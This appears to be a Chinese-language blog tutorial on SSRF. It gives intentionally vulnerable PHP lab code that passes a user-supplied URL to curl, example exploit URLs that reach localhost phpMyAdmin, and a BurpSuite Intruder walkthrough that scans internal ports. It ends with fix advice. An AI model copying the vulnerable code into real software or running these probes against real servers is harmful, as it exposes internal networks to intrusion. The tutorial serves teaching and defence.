SSRF漏洞原理与利用

2019-11-20 11:52:59 浏览数 (1)

漏洞知识库

网络安全/渗透测试/代码审计/

关注

SSRF漏洞原理与利用

什么是SSRF?

SSRF(Server-Side Request Forgery),服务器端请求伪造;利用一个可以发起网络请求服务,可以当做跳板攻击其他服务。

Know IT, SSRF有什么能耐?

内外网的端口服务探测

主机本地敏感数据读取

内外网主机应用程序漏洞利用

…… 等等

怎么找到SSRF漏洞?

能够对外发起网络请求的地方,就可能存在SSRF漏洞

远程服务器请求资源(Upload from URL,Import & Export RSS feed)

数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)

Webmail收取其他邮箱邮件(POP3/IMAP/SMTP)

文件处理,编码处理属性信息处理(ffpmg,ImageMaic,DOCX,PDF,XML处理器)

测试靶场PHP源码

代码语言:javascript复制
<?php
function curl($url){
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_exec($ch);
	curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

SSRF漏洞的利用

访问URL:

http://127.0.0.1/web/ssrf.php?url=www.baidu.com

可以看到,用GET请求让服务端请求百度URL成功

当我们设置参数URL为内网的时候,那就会泄露/探测内网信息

比如内网下有一个http://127.0.0.1/phpmyadmin/

我们尝试让服务端请求这个phpmyadmin,其构造URL:

http://localhost/web/ssrf.php?url=127.0.0.1/phpmyadmin/

BurpSuite - Intruder模块探测内网端口

首先访问URL:

http://localhost/web/ssrf.php?url=127.0.0.1

然后打开BurpSuite抓包:

数据包如下:

代码语言:javascript复制
GET /web/ssrf.php?url=127.0.0.1 HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close

右键 - Send to Inturder:

设置变量:

GET /web/ssrf.php?url=127.0.0.1:§port§

设置字典:

Number: From:1 - To:65535 - Step:1

数字类型(Number)——这种类型的Payload是指根据配置,生成一系列的数字作为Payload

Type表示使用序列还是随机数

From表示从什么数字开始

To表示到什么数字截止

Step表示步长是多少

…… 具体的可以看看BurpSuite实用手册

Start Attack:

Intruder attack 结果:

扫描/探测后,开放了:80、8080、912、902、3306端口

80HTTP

8080代理服务器端口(因为打开了BurpSuite)

912虚拟机监听端口

902Vmware使用的端口

3306Mysql服务默认端口

SSRF漏洞修复建议

过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准

统一错误信息,避免用户可以根据错误信息判断远端服务器的端口状态

限制请求的端口为http常用的端口,比如,80,443,8080,8090

黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

禁用不需要的协议。仅仅允许httphttps请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。

0 人点赞